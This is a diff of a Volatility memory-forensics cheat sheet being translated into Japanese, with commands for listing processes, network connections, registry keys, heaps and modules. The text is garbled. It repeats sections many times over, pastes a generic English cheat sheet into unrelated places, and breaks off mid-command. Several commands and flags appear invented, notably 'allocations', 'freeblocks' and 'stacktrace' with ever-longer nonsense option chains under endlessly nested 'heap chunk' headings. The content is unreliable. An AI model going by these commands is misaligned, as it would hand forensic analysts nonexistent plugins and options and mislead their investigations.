特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する(ディレクトリとファイル名は自動生成) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hexstrings -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` +```bash +volatilitye --plugins="/tmp/plugins/" [...] ``` {% endtab %} {% endtabs %} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +[https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns)からダウンロードしてください。 ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - -### Mutexes +### ミューテックス {% tabs %} {% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> connscan -p <プロセスID> +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan +``` + +### 特定のファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan -i +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hivelist +``` + +### 特定のレジストリキーの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -o <オフセット> +``` + +### レジストリキーの値のデータの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -o <オフセット> -D +``` + +## イベントログ + +### イベントログの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs +``` + +### 特定のイベントログの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs -n <ログ名> +``` + +### イベントログの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs -n <ログ名> -o <オフセット> +``` + +## プロセスメモリ + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## ファイルキャッシュ + +### ファイルキャッシュの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan +``` + +### 特定のファイルキャッシュの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan -i +``` + +### ファイルキャッシュの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q +``` + +## プロセスのヒープ + +### 特定のプロセスのヒープの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heap -p <プロセスID> -H <ヒープアドレス> +``` + +### 特定のヒープの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpheap -p <プロセスID> -H <ヒープアドレス> -D <出力ディレクトリ> +``` + +## プロセスのスタック + +### 特定のプロセスのスタックの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> +``` + +### 特定のスタックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -s <スタックアドレス> +``` + +### 特定のスタックの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -s <スタックアドレス> -D <出力ディレクトリ> +``` + +## プロセスのモジュール + +### 特定のプロセスのモジュールの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modscan -p <プロセスID> +``` + +### 特定のモジュールの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> +``` + +## プロセスのスレッド + +### 特定のプロセスのスレッドの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threadstacks -p <プロセスID> -t <スレッドID> +``` + +## プロセスのハンドル + +### 特定のプロセスのハンドルの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> handles -p <プロセスID> -t <ハンドルID> +``` + +## プロセスのセキュリティデスクリプタ + +### 特定のプロセスのセキュリティデスクリプタの一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> sdt -p <プロセスID> +``` + +### 特定のセキュリティデスクリプタの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> sdt -p <プロセスID> -t <セキュリティデスクリプタID> +``` + +## プロセスのモジュールリスト + +### 特定のプロセスのモジュールリストの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modscan -p <プロセスID> +``` + +## プロセスのモジュール情報 + +### 特定のプロセスのモジュール情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modinfo -p <プロセスID> -D <出力ディレクトリ> +``` + +## プロセスのモジュールダンプ + +### 特定のプロセスのモジュールダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> +``` + +## プロセスのモジュールベースアドレス + +### 特定のプロセスのモジュールベースアドレスの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modscan -p <プロセスID> +``` + +## プロセスのモジュールベースアドレスの詳細情報 + +### 特定のモジュールベースアドレスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> modinfo -p <プロセスID> -D <出力ディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプ + +### 特定のモジュールベースアドレスのダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## プロセスのモジュールベースアドレスのダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> moddump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant @@ -704,16 +5548,72 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {% endtab %} {% endtabs %} -### Symlinks +### シンボリックリンク {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `connections`: Lists network connections. +- `cmdline`: Displays command-line arguments for processes. +- `malfind`: Finds hidden or injected code. +- `dumpfiles`: Extracts files from memory. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `mbrparser`: Parses the Master Boot Record (MBR). +- `ssdt`: Displays the System Service Descriptor Table (SSDT). +- `idt`: Displays the Interrupt Descriptor Table (IDT). +- `gdt`: Displays the Global Descriptor Table (GDT). +- `ldrmodules`: Lists loaded modules. +- `modscan`: Scans for modules. +- `vadinfo`: Displays information about Virtual Address Descriptors (VADs). +- `vaddump`: Dumps a specific VAD. +- `vadtree`: Displays a VAD tree. + +## Plugins + +Volatility supports a wide range of plugins that extend its functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `dumpregistry`: Dumps the Windows registry. +- `dumpcerts`: Dumps certificates. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. +- `shellbags`: Lists Windows Explorer shellbags. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can effectively extract and analyze valuable information from memory dumps. ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` @@ -722,95 +5622,788 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module - -{% tabs %} -{% tab title="vol3" %} +メモリからbashの履歴を読み取ることができます。_.bash\_history_ファイルをダンプすることもできますが、無効にされている場合は、このvolatilityモジュールを使用できることに満足するでしょう。 ``` ./vol.py -f file.dmp linux.bash.Bash ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `connections`: Lists network connections. +- `cmdline`: Displays command-line arguments for processes. +- `malfind`: Finds hidden or injected code. +- `dumpfiles`: Extracts files from memory. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `mbrparser`: Parses the Master Boot Record (MBR). +- `ssdt`: Displays the System Service Descriptor Table (SSDT). +- `idt`: Displays the Interrupt Descriptor Table (IDT). +- `gdt`: Displays the Global Descriptor Table (GDT). +- `ldrmodules`: Lists loaded modules. +- `modscan`: Scans for modules. +- `vadinfo`: Displays information about Virtual Address Descriptors (VADs). +- `vaddump`: Dumps a specific VAD. +- `vadtree`: Displays a VAD tree. + +## Plugins + +Volatility supports a wide range of plugins that extend its functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `dumpregistry`: Dumps the Windows registry. +- `dumpcerts`: Dumps certificates. +- `dumpfiles`: Extracts files from memory. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can effectively extract and analyze valuable information from memory dumps. ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` {% endtab %} {% endtabs %} -### TimeLine +### タイムライン {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセス一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pslist +``` + +### 特定のプロセスの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> psxview -p <プロセスID> +``` + +### スレッド一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> +``` + +## ネットワーク + +### ネットワーク接続の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> netscan +``` + +### ネットワーク接続の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan +``` + +### ネットワーク接続のプロセスとスレッドの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> connscan -p <プロセスID> +``` + +## ファイルシステム + +### ファイル一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan +``` + +### ファイルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan -i <フイイルID> +``` + +### ファイルの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> dumpfiles -Q <ファイルID> -D <出力ディレクトリ> +``` + +## レジストリ + +### レジストリキー一覧の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> hivelist +``` + +### レジストリキーの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> +``` + +### レジストリキーの値の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> printkey -K <キーパス> -o <オフセット> +``` + +## イベントログ + +### イベントログの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs +``` + +### 特定のイベントログの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> evtlogs -n <イベントログ名> +``` + +## プロセスメモリ + +### 特定のプロセスのメモリダンプの作成 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> +``` + +### 特定のプロセスのメモリダンプの解析 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> +``` + +## ファイルキャッシュ + +### ファイルキャッシュの表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan +``` + +### ファイルキャッシュの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> filescan -i <ファイルID> +``` + +### ファイルキャッシュの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> dumpfiles -Q <ファイルID> -D <出力ディレクトリ> +``` + +## プロセスヒープ + +### 特定のプロセスのヒープ情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heaps -p <プロセスID> +``` + +### 特定のヒープの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> heap -p <プロセスID> -H <ヒープID> +``` + +### 特定のヒープの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> -h <ヒープID> +``` + +## プロセススタック + +### 特定のプロセスのスタック情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> +``` + +### 特定のスタックの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> stack -p <プロセスID> -s <スタックID> +``` + +### 特定のスタックの内容の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> memdump -p <プロセスID> -D <出力ディレクトリ> --dump-dir=<ダンプディレクトリ> -s <スタックID> +``` + +## プロセスモジュール + +### 特定のプロセスのモジュール情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> moddump -p <プロセスID> -m <モジュール名> -D <出力ディレクトリ> +``` + +## プロセスハンドル + +### 特定のプロセスのハンドル情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> -t <ハンドルタイプ> -o <オブジェクトID> +``` + +## プロセススレッド + +### 特定のプロセスのスレッド情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> -t <スレッドID> +``` + +## プロセスタイムライン + +### プロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree +``` + +### 特定のプロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -p <プロセスID> +``` + +### プロセスの実行時間の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -v +``` + +## プロセスハンドル + +### 特定のプロセスのハンドル情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> -t <ハンドルタイプ> -o <オブジェクトID> +``` + +## プロセススレッド + +### 特定のプロセスのスレッド情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> -t <スレッドID> +``` + +## プロセスタイムライン + +### プロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree +``` + +### 特定のプロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -p <プロセスID> +``` + +### プロセスの実行時間の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -v +``` + +## プロセスモジュール + +### 特定のプロセスのモジュール情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> moddump -p <プロセスID> -m <モジュール名> -D <出力ディレクトリ> +``` + +## プロセスハンドル + +### 特定のプロセスのハンドル情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> -t <ハンドルタイプ> -o <オブジェクトID> +``` + +## プロセススレッド + +### 特定のプロセスのスレッド情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> -t <スレッドID> +``` + +## プロセスタイムライン + +### プロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree +``` + +### 特定のプロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -p <プロセスID> +``` + +### プロセスの実行時間の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -v +``` + +## プロセスモジュール + +### 特定のプロセスのモジュール情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> moddump -p <プロセスID> -m <モジュール名> -D <出力ディレクトリ> +``` + +## プロセスハンドル + +### 特定のプロセスのハンドル情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> +``` + +### 特定のハンドルの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> handles -p <プロセスID> -t <ハンドルタイプ> -o <オブジェクトID> +``` + +## プロセススレッド + +### 特定のプロセスのスレッド情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threads -p <プロセスID> +``` + +### 特定のスレッドの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> threadstacks -p <プロセスID> -t <スレッドID> +``` + +## プロセスタイムライン + +### プロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree +``` + +### 特定のプロセスの実行時間の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -p <プロセスID> +``` + +### プロセスの実行時間の詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> pstree -v +``` + +## プロセスモジュール + +### 特定のプロセスのモジュール情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> modules -p <プロセスID> +``` + +### 特定のモジュールの詳細情報の表示 + +```bash +volatility -f <ファイル名> --profile=<プロファイル> moddump -p <プロセスID> -m <モジュール名> -D <出力デ ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` {% endtab %} {% endtabs %} -### Drivers +### ドライバー {% tabs %} {% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p 